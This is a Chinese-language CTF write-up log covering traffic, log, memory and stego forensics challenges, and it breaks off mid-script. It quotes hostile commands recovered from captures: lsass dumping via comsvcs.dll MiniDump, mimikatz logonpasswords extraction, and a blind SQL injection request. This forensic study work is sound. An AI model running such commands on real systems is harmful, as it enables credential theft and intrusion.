NSSCTF的MISC做题记录

NSSCTF

以下题目的flag格式都是NSSCTF{},有其他形式的是因为是比赛题目,提交还是需要用NSSCTF{}提交


[陇剑杯 2021]jwt(问1)

JWT认证

题目的flag包裹的是认证方式,看看什么是认证方式

几种常用的Web安全认证方式_authorization的值是basicauth,旁边还要携带username和password值-CSDN博客

使用wireshark打开,追踪http流并搜索token,发现一串字符串

image-20241109160840568

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9,拿去解密一下

image-20241109160829325

所以认证方式应该是JWT


[陇剑杯 2021]jwt(问2)

题目要找id和username

和上一题一样找到token,拿去解密了一下发现id是10086,username是admin

image-20241109160852729

但是flag不对,连着找了好几个都是一样的,直接拉到最后一个发现id变10087了,提交正确


[陇剑杯 2021]jwt(问3)

题目要找黑客获取webshell后的权限

同一个流量,继续追踪流找whoami,发现给出root

image-20241109160904089


[陇剑杯 2021]jwt(问4)

找黑客恶意攻击的文件名

找post请求,发现个经过base64加密后写入文件的

image-20241109160914085

文件名是1.c


[陇剑杯 2021]jwt(问5)

找被恶意编辑的so文件

也是继续追踪流找so文件

image-20241109160922214

文件名是looter.so

什么是.so文件?怎么生成、有什么特性-CSDN博客


[陇剑杯 2021]jwt(问6)

黑客在服务器上修改了一个配置文件,找文件的绝对路径

image-20241109160931946

看到了这个cp命令,发现不是flag,再找,发现路径

image-20241109160937376


[陇剑杯 2021]webshell(问1)

依旧是一个流量包

老样子先协议分级,选中http流

image-20241108170717308

然后追踪流寻找password字眼

屏幕截图 2024-11-08 170637

找到了,有url加密,拿去解密一下

屏幕截图 2024-11-08 170626

得到flag:NSSCTF{Admin123!@#}


[陇剑杯 2021]webshell(问2)

寻找被黑客修改了的文件的绝对路径

继续追踪流,找POST请求的,发现了.log文件

image-20241108173818714

下面有路径,拼接一下得到flag:/var/www/html/data/Runtime/Logs/Home/21_08_07.log


[陇剑杯 2021]webshell(问3)

题目是找黑客获取webshell后的权限是什么,去追踪流找whoami字眼

image-20241109145656835

权限是www-data


[陇剑杯 2021]webshell(问4)

题目是找黑客写入的文件名,也是看追踪流,找到被写入的文件

image-20241109150001149

是1.php


[陇剑杯 2021]webshell(问5)

代理客户端

题目是找黑客上传的代理工具客户端名字,一直在追踪流里面找1.php的

image-20241109150908582

代理工具客户端名字是frpc


[陇剑杯 2021]webshell(问6)

蚁剑流量特征

题目是要找到黑客代理工具的回连服务端IP,也是继续追踪流http,发现一串编码

image-20241109155854630

拿去解码一下

image-20241109155918131

得到ip:192.168.239.123

去查了一下,说这个是蚁剑流量特征


[陇剑杯 2021]webshell(问7)

题目是找黑客的socks5的连接账号、密码,这个就是上一题解码出来的,下面有写用户名和密码


[陇剑杯 2021]日志分析(问1)

状态码

题目是寻找可能泄露的文件名,那就是找请求成功,找200状态码

image-20241109162952085

有一个www.zip文件,提交成功,是flag


[陇剑杯 2021]日志分析(问2)

分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么

查找tmp

image-20241109163459591

一整句拿去url解密

image-20241109163529194

得到文件名sess_car


[陇剑杯 2021]日志分析(问3)

分析攻击流量,黑客使用的是______类读取了秘密文件

屏幕截图 2024-11-09 164433

SplFileObject类


[陇剑杯 2021]内存分析(问1)

集成工具;volatility

虚拟机的密码

下载文件,有一个vmem文件和tip.txt文件,txt里面是一句话:no space but underline,没有空格但是有下划线

镜像文件丢工具(https://github.com/RemusDBD/ctftools-all-in-one/releases) 里面查看内存摘要

image-20241112194224078

可以看到操作系统,取第一个就ok

第一次做内存取证,接下来就是学习

volatility,内存取证工具,其中的一个插件lsadump 是一个用于从内存镜像中提取敏感安全信息的,特别是与 Windows 安全账户管理(SAM)和本地安全机构(LSA)服务相关的信息。这些信息通常包括密码哈希、明文密码以及系统密钥等。该插件非常有用,特别是在数字取证和应急响应中,可以帮助分析人员获取登录凭证,以进一步了解系统的安全状态或是否被恶意软件入侵。(学习笔记有详细一点的)

运行volatility,使用以下命令

python2 vol.py -f Target.vmem --profile=Win7SP1x64 lsadump

image-20241112200742227

得到flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}


[陇剑杯 2021]内存分析(问2)

文件分析;华为助手加密;华为备份恢复

虚拟机中有一个某品牌手机的备份文件,文件里的图片里的字符串

在 Volatility 中,filescan 是一个用于扫描和定位内存镜像中文件对象的插件。它的作用是扫描操作系统的物理内存,寻找与文件相关的数据结构,以帮助分析人员在内存中定位文件。filescan 使用的是一种称为“池扫描”(pool scanning)的技术,可以直接在原始内存中找到文件对象,而无需依赖文件系统元数据。

在终端可以运行以下命令查看文件

python2 vol.py -f Target.vmem --profile=Win7SP1x64 filescan

可以和grep一起使用起到过滤作用

在工具中可以一键查看,注意flag、ctf等字眼

屏幕截图 2024-11-12 214938

文件很多,因为不是很熟悉这个工具所以我就复制拿去记事本查找了

没有flag,那就找ctf,有一个文件夹是CTF,但是有很多文件,不知道怎么下手

最后去看了别人的wp,说是有一个HUAWEI的,去查找HUAWEI

以下都是跟着别人的wp做的操作了

image-20241114102817841

找到一个exe文件

image-20241114103546306

有图象文件,和题目说的符合,保存文件

由于华为手机助手加密的文件解密时需要依赖整个文件夹中的文件,只有一个images0.tar.enc是不行的。需要另一个exe文件

屏幕截图 2024-11-14 103821

然后卡住了,下载的文件是dat和image文件,把dat文件的后缀改成zip打开压缩包查看

image-20241116110723638

里面有这些

在github找到华为备份恢复工具https://github.com/RealityNet/kobackupdec

下载该项目,然后使用命令进行恢复,这个工具需要密码进行恢复,那么密码就是刚刚的第一问的flag,而且提示是“没有空格,只有下划线”
W31C0M3 T0 THiS 34SY F0R3NSiCX变成W31C0M3_T0_THiS_34SY_F0R3NSiCX

python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX HUAWEI P40_2021-aa-bb xx.yy.zz ./nihao

image-20241116111344693

在文件夹中生成了文件

image-20241116111443240

打开压缩包里面是flag图片

image-20241116111555071


[陇剑杯 2021]简单日志分析(问1)

黑客攻击的参数

没有找到200的状态码,基本都是404,有几个500的,应该是报错来获取信息

image-20241109213935859

参数是user


[陇剑杯 2021]简单日志分析(问2)

黑客查看的秘密文件的绝对路径

image-20241109214428824

user参数后面的编码,拿去解码得到:

image-20241109214500762

文件路径是:/Th4s_IS_VERY_Import_Fi1e


[陇剑杯 2021]简单日志分析(问3)

黑客反弹shell的ip和端口

继续找user

image-20241109215203019

有个%,url和base64解密

image-20241109215228845

得到ip和端口


[陇剑杯 2021]SQL注入(问1)

布尔盲注

黑客在注入过程中采用的注入手法

image-20241109215528147

题目说是四个汉字的flag,看操作是布尔盲注,一个个查询的


[陇剑杯 2021]SQL注入(问2)

黑客在注入过程中,最终获取flag的数据库名、表名和字段名

屏幕截图 2024-11-09 220547

语句是172.17.0.1 - - [01/Sep/2021:01:45:56 0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),3,1) = 'r',1,(select table_name from information_schema.tables)) HTTP/1.1" 200 424 "-" "python-requests/2.26.0"

可知是sqli、flag、flag


[陇剑杯 2021]SQL注入(问3)

黑客最后获取到的flag字符串

知道了是布尔盲注,所以在每一次猜字符串时会显示是对的或者是错的,用substr函数一个个查询flag字符串,

屏幕截图 2024-11-09 221708

image-20241109221742784

利用substr函数,从第一个字符开始查询,当查询到是正确的字符后便开始查询下一个字符,如上图,第一个字符是f,第二个字符是l,以此类推可以得到flag:flag{deddcd67-bcfd-487e-b940-1217e668c7db}


[陇剑杯 2021]wifi

哥斯拉;WAP加密;GUID;解密无线网络数据包

下载文件,里面有两个流量包和一个镜像文件

打开服务端的流量包看看,协议分级找到最多的,然后追踪流发现了经过base64编码的pass和key

image-20241116155003245

拿去解码

转了半天没效果,看了其他人的wp时倒序了一边再进行base64解码,解码得到

image-20241116155312866

哥斯拉的源码

后面就是学习了

在网络中,传输的数据包有非加密的,则会有加密的包。在WiFi网络中,IEEE802.11提供了三种加密算法,分别是有线等效加密(WEP)、暂时密钥集成协议(TKIP)和高级加密标准Counter-Mode/CBC-MAC协议(AES-CCMP)。所以,当无线AP采用加密方式(如 WEP和WPA)的话,捕获的数据包都会被加密。用户如果想查看包中的内容,必须先对数据包文件进行解密后才可分析。

image-20241116155647341

这是客户端,流量被加密,是wap加密,要找到SSID和密码,其中SSID可以看到是My_Wifi

再进行内存取证,查看内存摘要,显示文件并寻找My_Wifi

屏幕截图 2024-11-16 110448

image-20241116160252477

image-20241116160446040

需要密码,备注提示说密码是Netword Adapter GUID

GUID:全局唯一标识符(GUID,Globally Unique Identifier)是一种由算法生成的二进制长度为128位的数字标识符。GUID主要用于在拥有多个节点、多台计算机的网络或系统中。世界上的任何两台计算机都不会生成重复的 GUID 值。GUID 主要用于在拥有多个节点、多台计算机的网络或系统中,分配必须具有唯一性的标识符。在 Windows 平台上,GUID 应用非常广泛:注册表、类及接口标识、数据库、甚至自动生成的机器名、目录名等。

网卡的GUID和接口绑定,在文件中搜索一下Interfaces

image-20241116163315413

其中Interfaces后面的就是GUID,{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}就是密码

打开压缩包查看

image-20241116163455171

然后进行解码客户端流量包

wireshark 如何解密wifi data packets_wireshark解密wifi数据包-CSDN博客

image-20241116164315970

在解密后的流量包中追踪tcp流,在最后一个中找到密文:72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488

image-20241116164728510

然后是哥斯拉的解密脚本

<?php 
//直接使用encode方法
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
 
$key='3c6e0b8a9c15224a';
$key1="72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488";//输入密文
$str=substr($key1,16,-16);//原来的数据去掉前十六位和后十六位
$str=gzdecode(encode(base64_decode($str),$key));
echo $str;
 ?>

其中,key是之前解码得到的密钥

image-20241116170501211

php运行:https://onlinephp.io/#google_vignette

解密得到

image-20241116170045006

flag{5db5b7b0bb74babb66e1522f3a6b1b12}


[陇剑杯 2021]ios(问1)

TLS

黑客所控制的C&C服务器IP

有三个文件

image-20241110095312562

第一个是一个日志,第二个如下图所示

image-20241110104358789

TLS流量,导入至wireshark中

再查看http流量,追踪流,在15中发现ip

image-20241110105315364

3.128.156.159


[陇剑杯 2021]ios(问2)

黑客利用的Github开源项目的名字

利用wireshark的过滤,寻找github.com字眼

image-20241110114454543

是stonwaway


[陇剑杯 2021]ios(问3)

agent参数

通讯加密密钥的明文

这个找了很久也没找到,最后是看了别人的wp,hacker4sec是密钥

image-20241110105315364

image-20241110154303267


[陇剑杯 2021]ios(问4)

http2

黑客通过SQL盲注拿到了一个敏感数据,内容是

这个先尝试了过滤http并且是GET的请求,但是没有找到盲注

后面看了一下别人的wp,是要过滤http2,是隐藏的流量

发现了盲注

image-20241110160222091

是password,也是从第一个字符开始,和之前那个一样一个个去看

最后得到的拿去cyberchef解密一下

image-20241110162038754

这个拿过去是错的,看别人的wp后面的ZZZj没有,但流量包里面确实是盲注到了49位

最后在评论区找到了,说是返回包,所有的包都是一样的,已经没用True|False的注入判断了,所以不算进去


[陇剑杯 2021]ios(问5)

扫描端口

黑客端口扫描的扫描器的扫描范围

这个也是学习了,因为没有做过

WireShark教程 – 黑客发现之旅(5) – (nmap)扫描探测_cve-2009-3103-CSDN博客

端口扫描,必然会涉及到rst报文和连续端口访问,我们打开专家信息找到rst

image-20241110163819157

然后找RST

image-20241110163848437

看完后会发现是10-499


[陇剑杯 2021]ios(问6)

被害者手机上被拿走了的私钥文件内容


[陇剑杯 2021]ios(问7)

黑客访问/攻击了内网的几个服务器,IP地址

日志可以看到访问的ip,172.28.0.2

image-20241111171950525

还有在流量包里面使用sql注入所攻击的ip,192.168.1.12

image-20241111172307067


[陇剑杯 2021]ios(问8)

黑客写入了一个webshell,其密码

这个也是学习

wp说fxxk是密码,后面去了解了一下,在某些 Webshell 设计中,攻击者会使用特定的参数名称来访问和控制 Webshell,比如这个fxxk,这里 fxxk 不仅是一个参数名,还充当密码作用,即:服务器只会在接收到 fxxk 参数时,才允许执行参数中的命令。攻击者知道只有当传递正确的参数名和内容时,服务器才会执行代码,这样能对抗简单的检测和过滤。

image-20241111173146590


[陇剑杯 2021]流量分析(问1)

攻击者的IP

下载文件,是一个流量包和没有后缀的文件,找ip的话先看看流量包吧


[第五空间 2021]alpha10

一个data文件,属性和010都没发现上面信息,拿去binwalk以下

image-20241119161328764

有jpg和png文件,是两张一样的

image-20241119161541946

想到盲水印

这里是用工具做的

image-20241119185501119

github上也有代码

fire-keeper/BlindWatermark: 使用盲水印保护创作者的知识产权using invisible watermark to protect creator's intellectual property

运行出来得到图片

00001404.jpg_Bwm

有亿点点看不清,用stegsolve打开

image-20241119185901905

稍微好点了

flag{XqAe3QzK2ehD5PWvBjfBLPPqHUwO}

错的,应该就是哪几个字母看不清错了

找了别人的wp,flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}


[第五空间 2021]muziko

010打开文件是乱码,拿去file一下看是什么文件

image-20241119164329630

mp3文件,改一下后缀

image-20241119164521611

audacity打开没有发现什么

然后题目有提示说你了解muziko吗,问了一下是个打开音频的软件,安卓的软件

去下了一个但是不会用,找wp也找不到(-。-)

题目链接

[第五空间 2021]muziko | NSSCTF


[SWPU 2019]神奇的二维码

image-20241120205654940

binwalk有文件隐藏在里面,但是用binwalk和foremost都分离不出来

尝试了dd命令,发现可以

image-20241120212657303

第一个文件是一个txt

image-20241120212719117

拿去解密得到

image-20241120212747383

暂时不知道有什么用,先放一边

第二个文件里面有一张图片和一个压缩包

image-20241120212838830

然后里面的压缩包也是一张图片,需要密码,应该是第一个文件解密的,用密码打开后发现和外面的那一张是一样的

打开第三个文件查看,doc文件里面有一大串编码

image-20241120212957274

拿去解码得到

image-20241120213013217

我以为这个就是flag,结果交上去不对

回头一看还有一个rar文件没分离,继续用dd分离

image-20241120213317401

mp3文件,那密码应该就是上面解码得到的字符串了

得到音频,里面是有节奏的bb声音,用audacity打开查看

image-20241120213520439

摩斯解密看看

image-20241120213805714

得到flag


[NSSRound#12 Basic]Bulbasaur

盲水印但是一张图;阴阳怪气编码

image-20241120214315854

压缩包要密码,先分析图片,尝试了010editor,zsteg,,strings,宽高,属性等等都没有结果,实在是不知道要做什么了,去看了wp

说的是盲水印,但是是一张图片提取,利用工具得到

image-20241120221028599

那压缩包密码应该就是blind watermark

image-20241120221228651

好,又是没见过的编码,看wp说是阴阳怪气编码,用网站解密一下

阴阳怪气编码

image-20241120221349955

得到NSSCTF{W@t3rMaRk_1s_s0000000_35s9}


[NSSRound#1 Basic]cut_into_thirds

raw文件,拿去内存取证工具里面分析了一下,在文件里面过滤了ctf关键字,发现了很多db、init文件,后面一直找,找到一个zip,下载来看看

image-20241120223850004

下载下来的文件是dat,看文件显示是zip所以改了zip后缀,能打开,压缩包里面有个congratulations文本文件,里面是个part1

image-20241120223943770

image-20241120224040766

根据题目描述这个就是flag的第一部分了

image-20241121092812688

后面又找到一个LookAtMe,拿去保存,这个我尝试了也像上面一样改文件里面的后缀和zip后缀,.lnk是快捷方式,打不开,后面随便试了一下strings,感觉有点像需要的字符串

image-20241121094117578

但是没有写是第几部分,先放着

根据上面经验,那就直接过滤LookAtMe了,找到一个exe,保存是一个img文件

image-20241121092850677

image-20241121093348969

没有结果,010editor打开也是乱码,尝试了strings,真出来了

屏幕截图 2024-11-21 093144

拿去解码得到第二部分

image-20241121093314432

那第二个应该就是第三部分了,拼起来应该就是NSSCTF{3930653363343839-4bca-48e0-bc75-randark-pc-ctf}

不对,感觉是第一部分要解码,拿去cyberchef,有魔法棒,点一下得到

image-20241121094556234

NSSCTF{90e3c489-4bca-48e0-bc75-randark-pc-ctf},还是不对

是我第三部分太仓促了吗

最后看了wp,第三部分要用mimikatz查看密码,由于我的volatility一直报错并且一直修不好所以我没有自己去做了,下面是我看的wp说明

image-20241121120128739

第三部分就是11091f5b7e3a,所以是NSSCTF{90e3c489-4bca-48e0-bc75-11091f5b7e3a}


[LitCTF 2023]Osint小麦果汁

图片:

image-20241124215002267

试试google

image-20241124174347079

非常好的google,使我的题目秒破解,第二个点进去看

image-20241124174423292

就是这个了

image-20241124174438984

因为图片上有hacker,所以没有看后面几个,黑客与精酿就是flag


[LitCTF 2023]你是我的关键词(Keyworld) (初级)

关键字密码

文本文件内容如下

image-20241124175249849

起初以为是凯撒和rot13,解密后发现都不是

最后是去看了wp才知道是关键字密码

解码得到

image-20241124175415348

题目简单但是第一次遇到新的加密方式所以记录一下


[羊城杯 2021]缤纷

一个反编译python代码,还有一堆红黄蓝绿的二维码

image-20241124175915692

image-20241124175925064

反编译一下得到

image-20241124180408394

倒数第二行说有两个提示,最后一行就是生成一个范围在0.2-0.8的随机数,有点懵,扫一个试试

image-20241124215136239

image-20241124215156194

看来是一个码一个字符了,然后拼起来得到flag吗

题目说的是红黄蓝绿

没有思路,试了以下全部扫出来然后拼接

image-20241126161320193

没有语义

这个在网上没有找到wp但是还是很好奇解题思路和过程,求大佬解答

[羊城杯 2021]缤纷 | NSSCTF


[羊城杯 2021]赛博德国人

恩尼格玛密码机;德语数字;十六进制转换

打开压缩包,有备注说明

image-20241125133228868

流量包打开协议分级

屏幕截图 2024-11-25 133421

有FTP传输文件,导出对象选中FTP-DATA看看有没有文件

image-20241125133613287

有一个pdf和txt,保存打开

txt文件内容如下,pdf是被加密的

image-20241125133733181

上面备注了二战德国的通信,搜一下

image-20241125133954869

恩尼格玛密码机,德军的各支部队使用一些不同的通讯网络,每个网络中的恩尼格玛机都有不同的设置。为了使一条信息能够正确地被加密及解密,发送信息与接收信息的恩尼格玛机的设置必须相同;转子必须一模一样,而且它们的排列顺序起始位置接线板的连线也必须相同。所有这些设置都需要在使用之前确定下来,并且会被记录在密码本中

后面一大串字符就是密文,前面那一串看不懂,问了一下AI,下面是解读结果

image-20241125142307063

image-20241125142640068

在解密网站中我想着那个轮组应该就是350,但是里面并没有350所以直接尝试第一个了,后面接着的三个轮尝试RZS,因为刚好里面是0-25,R对应17,Z对应25,S对应18,试一下

image-20241125142948079

很奇怪的字符串,应该是错的,后面又去问AI了,把350结合到三个轮子当中了或者是不管350直接RZS,然后Reflector填B

得到结果

image-20241125143701951

还是很奇怪啊,然后就是没有头绪了

看了一下别人的题解2021年“羊城杯”网络安全大赛部分Writeup_网络安全猜数字-CSDN博客

救命,工具都用不明白

image-20241130191021482

这个工具感觉还是要研究很久

看wp就是解密得到字符串是德语对应的数字,将其翻译成数字之后进行十六进制转化就得到flag了


[羊城杯 2021]Misc520

题目描述

image-20241125145450593

下载是一个压缩包套娃,519.zip开始,后面就是每个压缩包数字减一,用脚本解压缩

import zipfile
import os

def extract_zip(filename, extract_to):
    """解压单个 ZIP 文件"""
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        zip_ref.extractall(extract_to)

def unzip_nested_zip(start_filename, output_dir):
    """递归解压嵌套的 ZIP 文件"""
    current_filename = start_filename
    counter = 519  # 从519.zip开始
    
    while os.path.exists(current_filename):
        print(f"正在解压: {current_filename}")
        # 创建一个临时目录用来解压当前的 ZIP 文件
        temp_dir = os.path.join(output_dir, f"temp_{counter}")
        os.makedirs(temp_dir, exist_ok=True)
        
        # 解压当前 ZIP 文件
        extract_zip(current_filename, temp_dir)
        
        # 计算下一个 ZIP 文件名
        counter -= 1
        next_filename = os.path.join(temp_dir, f"{counter}.zip")
        
        if os.path.exists(next_filename):
            # 如果下一个文件存在,更新 current_filename
            current_filename = next_filename
        else:
            # 如果没有下一个文件,停止解压
            print("没有更多的压缩包可以解压了。")
            break

if __name__ == "__main__":
    # 设置起始文件名和解压路径
    start_zip = "519.zip"
    output_directory = "./new"  # 可以修改为你想要的输出目录
    
    # 创建解压目标目录
    os.makedirs(output_directory, exist_ok=True)
    
    # 调用解压函数
    unzip_nested_zip(start_zip, output_directory)

最后得到图片

image-20241125150343724

因为题目有提示是lsb,用zsteg

image-20241125150910929

b1表示是0通道,bgr就是排列方式是BGR,lsb就是最低有效位可能表示隐写数据在图像中的排列方式,可能指的是图像的像素排列顺序。xy 可能暗示了数据的嵌入是按照横纵坐标的方式存储的,或是数据按特定的像素位置进行编码

有一个pk文件,在stegsolve中保存,因为zsteg并没有显示全部的数据

image-20241125151041838

SaveBin,保存为zip文件打开是一个流量包

这里用winrar打开会报错说压缩包受损了,用360解压缩打开

image-20241125151357619

要密码,试了一下伪加密,并不是,想着用ARC暴力破解的,结果文件打不开

后面尝试zip2john,识别不到文件标志

在线网站也说文件错误,在010editor删删减减,有去winrar修复(这个直接把流量包修没了),一直不成功,在网上找的wp没有一个提到这个问题,是这里是很简单的问题吗

ok卡死了


[羊城杯 2021]Baby_Forenisc

cmd进程;ssh文件

镜像文件,先查看内存摘要获取操作系统版本

查看进程

image-20241127150317622

后面有cmd,查看以下cmd进程

image-20241127150627994

发现了git,是使用git把文件传到仓库然后删掉了

没有找到相关ctf和flag的文件,发现了一个ssh.txt

image-20241127151144681

保存后后缀改txt打开

image-20241127151358565

base64解码

image-20241127151348089

发现邮箱,拿去github搜索

image-20241127151544264

image-20241127151559302

保存文件后打开

image-20241127151750481

没有flag字眼,找一找其他信息

image-20241127175543225

发现了一大段base64编码,拿去解码没有发现什么有用的信息,继续找

image-20241127175728109

有一些奇怪的字符,下面有一段像是base64编码的字符串,拿去解码试试看

image-20241127175759560

得到flag


[蓝帽杯 2022 初赛]domainhacker

蚁剑流量

题目描述:公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:NSSCTF{hash_of_machine}

流量包,先协议分级

image-20241125153702381

选中http并追踪流得到一大串代码

image-20241125164508415

拿去URL解码

image-20241125170514107

到最后一个有一个rar压缩包,保存打开需要密码,暂时放一边

image-20241125170748277

下面就是学习了

这是蚁剑流量,在最后可以看到一串字符串,8mY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1ciJndob2FtaSAvcHJpdiZlY2hvIGVmYTkyM2JhNTA0JmNkJmVjaG8gMWE0YmU4ODE1ZWY4,因为base64基本是大写字母开头所以去掉前面两个,拿去解码得到

image-20241125170637582

相应的后面几个可以代码可以分别解密得到

cd /d "C:/phpstudy_pro/WWW"&whoami /priv&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 476 C:\windows\temp\lsass.dmp full"&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "C:\\phpstudy_pro\\WWW"&cd c:\windows\temp\&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "c:\\Windows\\Temp"&dir&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "c:\\Windows\\Temp"&mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "c:\\Windows\\Temp"&dir&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

cd /d "c:\\Windows\\Temp"&move 1.rar c:\phpstudy_pro\www\&echo efa923ba504&cd&echo 1a4be8815ef8

倒数第二行,可以看出压缩包的密码是SecretsPassw0rds,打开压缩包

image-20241125171938740

得到哈希值,所以flag就是flag{416f89c3a5deb1d398a1a1fce93862a7}


[鹤城杯 2021]流量分析

sql注入脚本提取

流量包,协议分级,选中http

发现是sql注入,是盲注,在过滤框中输入http.request过滤

image-20241127195010600

image-20241127195025397

image-20241127195048149

得到文件后利用脚本提取

import re

# 初始化一个字典,存储按位置提取的 ASCII 值
ascii_by_position = {}

# 打开并读取数据文件
with open("123.txt", "r", encoding="utf-8") as f:
    for line in f.readlines():
        # 提取字符位置和对应的 ASCII 值
        match = re.search(r"substr\(\(.*?\),(\d+),1\)\)=([0-9]+)--\+", line)
        if match:
            position = int(match.group(1))  # 提取字符位置
            ascii_value = int(match.group(2))  # 提取 ASCII 值

            # 过滤 ASCII 范围,只记录可打印字符
            if 32 <= ascii_value <= 126:
                # 每个位置只存储一个值
                ascii_by_position[position] = ascii_value

# 按位置排序并拼接字符
flag = ''.join(chr(ascii_by_position[pos]) for pos in sorted(ascii_by_position.keys()))

# 输出提取的 flag
print("Extracted Flag:", flag)

得到flag{w1reshARK_ez_1sntit}

[HDCTF 2023]ExtremeMisc

破解密码;文件逆序;明文攻击

图片文件,看到图片内容直接拿去binwalk文件分离,得到zip文件

压缩包再打开发现需要密码

image-20241128101608199

爆破得到密码

image-20241128101637186

打开后的文件010editor打开

image-20241128101658868

发现都是每两位被交换位置了,用脚本恢复一下

def read_file_as_hex(file_path):
    with open('Reverse.piz', 'rb') as f:
        hex_data = f.read().hex()
    return hex_data


def swap_hex_pairs(hex_string):
    # 确保输入字符串长度为偶数
    if len(hex_string) % 2 != 0:
        raise ValueError("输入的十六进制字符串长度必须为偶数")

    # 分组:每两个字符为一组
    groups = [hex_string[i:i + 2] for i in range(0, len(hex_string), 2)]

    # 交换组的位置
    swapped_groups = groups[::-1]

    # 拼接成结果字符串
    result = ''.join(swapped_groups)
    return result


def reverse_entire_hex_string(hex_string):
    """
    整体反转十六进制字符串
    :param hex_string: 输入的十六进制字符串
    :return: 反转后的十六进制字符串
    """
    return hex_string[::-1]


if __name__ == "__main__":
    # 硬编码输入文件路径
    input_file = "input.bin"  # 替换为实际文件路径

    try:
        # 读取文件内容为十六进制字符串
        hex_data = read_file_as_hex(input_file)
        print(f"原始十六进制数据:{hex_data}")

        swapped_data = swap_hex_pairs(hex_data)

        reversed_data = reverse_entire_hex_string(swapped_data)
        print(f"结果:{reversed_data}")

    except Exception as e:
        print(f"发生错误:{e}")

打开压缩包

image-20241128103112860

又要密码,继续爆破

image-20241128103142567

secret里面的内容

image-20241128103232456

然后打开Plain压缩包,里面也有一个secret

image-20241128105435408

CRC是一样的,明文攻击

image-20241128111746605

得到密码,打开压缩包

image-20241128111831695

得到flag

[SDCTF 2022]Flag Trafficker

jsfuck编码

流量包,协议分级

image-20241128110012526

优先http

image-20241128110036740

发现文件,导出对象查看保存

image-20241128110108519

第二个文件里面没有什么信息,第一个文件如下图所示

image-20241128110150692

jsfuck编码,解码得到

屏幕截图 2024-11-28 111223

JSFuck解密_javascript在线混淆解密-利民吧

注:有一些网站和离线工具解密得到的是这样的

image-20241128111640868

image-20241128112107376


[闽盾杯 2021]Modbus的秘密

modbus协议

流量包打开协议分级

image-20241128122238718

Modbus最多,选中

追踪流一直找,前面除了0后面的都是什么都没有,感觉会有很多,几千几千的试,然后慢慢缩小范围,在2195发现flag

image-20241128122902099

遇到了没见过的协议,Modbus

大神带你秒懂Modbus通信协议-CSDN博客


[闽盾杯 2021]signin

01画图

文件打开里面是很多的01

image-20241128123206535

猜测是01画图,缩小看看

image-20241128123231991

二维码补一下扫出来得到

image-20241128123731712


[闽盾杯 2021]密码加杂项真不错

RSA;AMM算法

两个文件

image-20241128123928429

其中cipher文件内容为

image-20241128123915151

分析图片,试试zsteg

image-20241128130433200

有一行是PKPK的,只有两种字符,试试P转0,K转1,然后拿去cyberchef

image-20241128130817962

有魔法棒,是培根加密oneeightzeroone,翻译过来就是1801

RSA算法的工作原理

RSA算法的工作原理涉及数学中的模运算和欧拉函数。算法的关键步骤包括:

  1. 选择两个大质数p和q,计算它们的乘积n= p*q ,n用作公钥和私钥的一部分
  2. 计算欧拉函数φ ( n ) = φ ( p ) × φ ( q ) = ( p − 1 ) ( q − 1 )
  3. 选择一个整数( e ),使得e与φ ( n ) 互质,并且1 < e < φ ( n ) ,e成为公钥的一部分
  4. 计算e的模逆d,d成为私钥的一部分
  5. 公钥为(e, n),私钥为(d, n)

加密和解密过程

  • 加密过程:对于明文( M ),加密后的密文( C )计算为img
  • 解密过程:对于密文( C ),原始明文( M )计算为img

猜测1801就是e,但是还是不知道另外一个q

到这里就有点不会了,看了别人的wp

说e和p-1存在较大公因数,使用AMM算法开根求解

网站:https://sagecell.sagemath.org/

代码:

#Sage
import random
import time

# About 3 seconds to run

def AMM(o, r, q):
    start = time.time()
    print('\n----------------------------------------------------------------------------------')
    print('Start to run Adleman-Manders-Miller Root Extraction Method')
    print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
    g = GF(q)
    o = g(o)
    p = g(random.randint(1, q))
    while p ^ ((q-1) // r) == 1:
        p = g(random.randint(1, q))
    print('[+] Find p:{}'.format(p))
    t = 0
    s = q - 1
    while s % r == 0:
        t += 1
        s = s // r
    print('[+] Find s:{}, t:{}'.format(s, t))
    k = 1
    while (k * s + 1) % r != 0:
        k += 1
    alp = (k * s + 1) // r
    print('[+] Find alp:{}'.format(alp))
    a = p ^ (r**(t-1) * s)
    b = o ^ (r*alp - 1)
    c = p ^ s
    h = 1
    for i in range(1, t):
        d = b ^ (r^(t-1-i))
        if d == 1:
            j = 0
        else:
            print('[+] Calculating DLP...')
            j = - discrete_log(a, d)
            print('[+] Finish DLP...')
        b = b * (c^r)^j
        h = h * c^j
        c = c ^ r
    result = o^alp * h
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    print('Find one solution: {}'.format(result))
    return result

def findAllPRoot(p, e):
    print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
    start = time.time()
    proot = set()
    while len(proot) < e:
        proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
    end = time.time()
